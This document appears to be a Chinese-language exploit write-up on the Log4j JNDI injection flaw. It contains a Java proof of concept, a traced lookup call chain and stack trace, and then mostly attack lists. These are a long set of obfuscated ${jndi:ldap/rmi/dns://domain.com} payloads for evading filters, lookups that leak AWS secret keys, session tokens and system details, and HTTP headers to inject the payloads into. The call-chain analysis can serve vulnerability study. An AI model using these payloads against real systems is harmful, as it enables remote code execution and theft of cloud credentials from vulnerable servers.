漏洞成因: log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap
服务端:
package com.naihe4;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class j2 {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//同上
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
logger.error("随便输入xxxxxxxxxx231请31212312312:${jndi:rmi://127.0.0.1:1099/hello}");
}
}
直接跟进到MessagePatternConverter#format方法
匹配${,进入替换
这里获取协议前缀并判断是否在许可的协议内
调用JndiManager#lookup方法
调用InitialContext#lookup方法
后面又回到了前面的分析
调用链
在org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:217)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
在org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
在org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
在org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
在org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
在org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
在org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
在org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
在org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
在org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
在org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
在org.apache.logging.log4j.core.Logger.log(Logger.java:161)
在org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
在org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
在org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
在org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
在org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
在org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
在com.naihe4.j2.main(j2.java:9)
绕过payload:
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}
可执行的命令获取信息:
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
log4j会记录的请求头
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token